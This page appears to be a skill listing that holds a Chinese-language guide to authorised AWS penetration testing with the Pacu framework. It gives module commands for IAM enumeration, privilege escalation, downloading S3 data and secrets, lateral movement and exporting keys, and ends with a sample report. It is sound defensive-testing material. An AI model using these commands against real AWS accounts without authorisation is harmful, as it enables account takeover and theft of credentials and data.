UI はローカライズ済みです。スキルの紹介と説明文書は選択した言語へ AI が自動翻訳し、コード・コマンド・パス・専門用語は原文のままです。原作者の文書が優先されます。
スキルを探す
開発・技術 · SKILL.md

performing-cloud-penetration-testing-with-pacu

performing-cloud-penetration-testing-with-pacu

使用开源 AWS 利用框架 Pacu 执行已授权的 AWS 渗透测试,枚举 IAM 配置、发现权限提升路径、测试凭据收集,并通过系统化的攻击模拟验证安全控制。

Independent GitHub snapshot · Automated classification · Original documentation governs

スキルの説明

GitHub

name: performing-cloud-penetration-testing-with-pacu description: > 使用开源 AWS 利用框架 Pacu 执行已授权的 AWS 渗透测试,枚举 IAM 配置、发现权限提升路径、测试凭据收集,并通过系统化的攻击模拟验证安全控制。 domain: cybersecurity subdomain: cloud-security tags: [cloud-security, aws, pacu, penetration-testing, offensive-security, iam-exploitation] version: "1.0" author: mahipal license: Apache-2.0

使用 Pacu 执行云渗透测试

适用场景

  • 对 AWS 环境进行已授权的渗透测试时
  • 验证 IAM 策略、SCP 和权限边界的有效性时
  • 评估一组受损 AWS 凭据的影响范围时
  • 测试 GuardDuty、Security Hub 和自定义告警的检测能力时
  • 针对 AWS 云基础设施构建红队演练(Red Teaming)时

不适用于:未授权的任何 AWS 账户测试、测试 AWS 基础设施本身(属于共同责任范畴)、未经 AWS 批准的 DDoS 或大规模攻击,或在没有明确授权和应急程序的情况下测试生产账户。

前置条件

  • 已获取 AWS 账户所有者的书面授权,并定义了范围和交战规则
  • 已安装 Pacu v1.5+(pip install pacu)
  • 具有有限初始权限的测试 AWS 凭据(模拟凭据泄露场景)
  • 已启用 CloudTrail 日志,用于捕获所有 Pacu 活动以供事后审查
  • 已启用 GuardDuty,用于验证 Pacu 活动的检测情况
  • 已记录紧急联系人和回滚程序

工作流程

步骤 1:初始化 Pacu 会话并配置凭据

使用测试凭据设置 Pacu 会话,并定义测试范围。

# 安装 Pacu
pip install pacu

# 启动 Pacu
pacu

# 为本次测试创建新会话
Pacu > set_keys --key-alias pentest-target
# 输入 Access Key ID: AKIA...
# 输入 Secret Access Key: ...

# 验证身份
Pacu > whoami

# 查看可用模块
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3

步骤 2:枚举 IAM 配置

运行 IAM 枚举模块,映射用户、角色、策略和组成员关系。

# 全面 IAM 枚举
Pacu > run iam__enum_users_roles_policies_groups

# 枚举当前主体的详细权限
Pacu > run iam__enum_permissions

# 枚举账户授权详情(需要 iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report

# 枚举跨账户访问的角色信任策略
Pacu > run iam__enum_roles

# 检查当前会话数据
Pacu > data iam

步骤 3:扫描权限提升路径

使用 Pacu 的权限提升扫描器识别所有可利用的提升向量。

# 运行权限提升扫描器
Pacu > run iam__privesc_scan

# 扫描器测试 21+ 种提升方法:
# 方法 1:  iam:CreatePolicyVersion
# 方法 2:  iam:SetDefaultPolicyVersion
# 方法 3:  iam:PassRole + ec2:RunInstances
# 方法 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# 方法 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# 方法 6:  iam:PassRole + glue:CreateDevEndpoint
# 方法 7:  iam:PassRole + cloudformation:CreateStack
# 方法 8:  iam:PassRole + datapipeline:CreatePipeline
# 方法 9:  iam:CreateAccessKey
# 方法 10: iam:CreateLoginProfile
# 方法 11: iam:UpdateLoginProfile
# 方法 12: iam:AttachUserPolicy
# 方法 13: iam:AttachGroupPolicy
# 方法 14: iam:AttachRolePolicy
# 方法 15: iam:PutUserPolicy
# 方法 16: iam:PutGroupPolicy
# 方法 17: iam:PutRolePolicy
# 方法 18: iam:AddUserToGroup
# 方法 19: iam:UpdateAssumeRolePolicy
# 方法 20: sts:AssumeRole
# 方法 21: lambda:UpdateFunctionCode

# 如果发现提升路径,尝试利用
Pacu > run iam__privesc_scan --escalate

步骤 4:枚举并测试数据访问

发现可访问的数据存储,包括 S3、DynamoDB、RDS 和 Secrets Manager。

# 枚举 S3 存储桶
Pacu > run s3__bucket_finder

# 下载 S3 存储桶数据进行分析
Pacu > run s3__download_bucket --bucket target-bucket --dl-names

# 枚举 EC2 实例并提取用户数据
Pacu > run ec2__enum
Pacu > run ec2__download_userdata

# 枚举 Lambda 函数,检查环境变量中的密钥
Pacu > run lambda__enum

# 枚举 Secrets Manager
Pacu > run secretsmanager__enum

# 枚举 SSM 参数(通常包含密钥)
Pacu > run ssm__download_parameters

# 检查暴露的 EBS 快照
Pacu > run ebs__enum_snapshots_unauth

步骤 5:测试横向移动和持久化

评估跨账户访问、服务利用和持久化机制。

# 测试跨账户角色担任
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole

# 枚举 Lambda 以寻找代码执行机会
Pacu > run lambda__enum
# 如果存在 lambda:UpdateFunctionCode 权限,可能注入代码

# 测试 EC2 instance connect 进行横向移动
Pacu > run ec2__enum
# 检查具有更广泛权限实例配置文件的实例

# 检查 CodeBuild 项目(潜在的凭据访问)
Pacu > run codebuild__enum

# 枚举 ECS/Fargate 进行基于容器的横向移动
Pacu > run ecs__enum

# 导出所有发现的数据
Pacu > data all

步骤 6:验证检测并生成报告

审查安全控制是否检测到测试活动,并汇总发现。

# 检查测试期间生成的 GuardDuty 发现
aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-criteria '{
    "Criterion": {
      "updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
    }
  }' --output json

# 检查 Security Hub 发现
aws securityhub get-findings \
  --filters '{
    "CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
  }'

# 导出 Pacu 会话数据用于报告
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json

# 清理评估期间创建的测试产物
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null

核心概念

术语定义
Pacu由 Rhino Security Labs 维护的开源 AWS 利用框架,为已授权渗透测试提供模块化攻击能力
权限提升扫描(Privilege Escalation Scan)对 IAM 策略进行自动化分析,识别将有限访问提升至管理控制的已知方法
iam:PassRole关键 IAM 操作,允许主体为 AWS 服务分配角色,通过 Lambda、EC2 或 Glue 实现间接权限提升
跨账户角色担任(Cross-Account Role Assumption)通过信任策略配置使用 sts:AssumeRole 获取另一 AWS 账户的临时凭据
交战规则(Rules of Engagement)定义渗透测试范围、方法、时间和边界的书面协议
后渗透(Post-Exploitation)在获得初始访问后执行的活动,包括数据访问、横向移动和建立持久化

工具与系统

  • Pacu:AWS 利用框架,拥有 50+ 个枚举、提升、持久化和数据外泄模块
  • CloudFox:从攻击者角度识别攻击路径的 AWS 枚举工具
  • Principal Mapper:IAM 权限提升图形分析工具,用于可视化提升路径
  • ScoutSuite:多云安全评估工具,用于在测试前识别配置错误
  • AWS CloudTrail:审计日志,用于捕获测试期间的所有 Pacu 活动

常见场景

场景:从受损开发者凭据开始的红队评估

场景背景:红队演练模拟攻击者从泄露的代码仓库获取开发者 AWS 访问密钥的场景。目标是确定从此起点可实现的最大影响。

方法:

  1. 使用受损凭据初始化 Pacu,运行 whoami 确认身份
  2. 运行 iam__enum_permissions 映射开发者的有效权限
  3. 执行 iam__privesc_scan 识别从开发者到管理员的提升路径
  4. 发现开发者可以调用 iam:PassRole + lambda:CreateFunction,创建带管理员角色的 Lambda
  5. 利用提升获取管理员级别的临时凭据
  6. 枚举 S3 存储桶、下载敏感数据并访问 Secrets Manager
  7. 验证 GuardDuty 是否检测到提升和数据访问活动
  8. 清理所有测试产物并记录完整攻击链

常见陷阱:Pacu 模块可能产生大量噪音,在短时间内生成许多 API 调用。GuardDuty 可能从测试者 IP 触发 Recon:IAMUser/MaliciousIPCaller 发现。与 SOC 团队协调,将测试 IP 加入白名单,或建立清晰的沟通渠道以区分测试和真实攻击。测试后务必清理持久化产物。

输出格式

AWS 渗透测试报告(Pacu)
=====================================
目标账户: 123456789012
测试周期: 2026-02-20 至 2026-02-23
起始凭据: 开发者角色(S3 只读、Lambda 调用)
授权: ROE 文件 #PT-2026-015

攻击路径摘要:
  初始访问: S3 只读、Lambda 调用
  最终获得访问: AdministratorAccess(完全账户入侵)
  获得管理员权限时间: 47 分钟
  GuardDuty 检测: 是(12 分钟后)
  Security Hub 检测: 是(18 分钟后)
  SOC 响应时间: 45 分钟(错过了提升窗口)

已执行的 Pacu 模块:
  iam__enum_users_roles_policies_groups: 成功
  iam__enum_permissions: 成功
  iam__privesc_scan: 发现 3 条提升路径
  s3__download_bucket: 访问了 4 个存储桶
  lambda__enum: 枚举了 12 个函数
  secretsmanager__enum: 获取了 8 个密钥

已利用的提升路径:
  [1] iam:PassRole + lambda:CreateFunction -> AdminRole(严重)
  [2] sts:AssumeRole -> CrossAccountProdRole(高)
  [3] dev-policy 上的 iam:CreatePolicyVersion(严重)

访问的数据:
  下载的 S3 对象: 1,247 个文件(2.3 GB)
  Secrets Manager 值: 8 个密钥,包括数据库凭据
  SSM 参数: 23 个参数,包括 API 密钥

检测结果:
  GuardDuty 发现: 7 个
  Security Hub 发现: 12 个
  触发的自定义 CloudWatch 告警: 3 个
  SOC 确认: 是(45 分钟响应)

建议:
  1. 对所有开发者角色应用权限边界
  2. 从非管理员主体移除 iam:PassRole
  3. 将 SOC 对 IAM 提升告警的响应时间缩短到 15 分钟以内
  4. 在非管理员 OU 中实施 SCP,阻止 iam:CreatePolicyVersion
保存したスキル